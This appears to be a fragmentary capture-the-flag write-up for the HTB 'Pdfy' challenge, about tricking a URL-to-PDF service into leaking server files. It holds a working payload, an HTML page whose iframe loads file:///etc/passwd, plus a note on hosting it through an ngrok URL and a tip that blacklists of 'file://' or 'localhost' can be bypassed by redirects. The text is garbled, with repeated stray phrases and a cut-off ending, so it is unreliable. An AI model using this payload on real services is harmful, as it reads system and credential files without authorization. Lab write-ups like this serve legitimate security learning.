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Writeup Upd Fix - Pdfy Htb

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<!DOCTYPE html> <html> <body> <h1>Leak /etc/passwd</h1> <iframe src="file:///etc/passwd" height="800px" width="100%"></iframe> </body> </html> pdfy htb writeup upd

Always validate and sanitize user-provided URLs. Blacklisting "localhost" or "file://" is rarely sufficient, as redirects can often bypass these filters. No – need direct read

Take note of the public URL (e.g., https://abc123.ngrok.io ). No – need direct read. &lt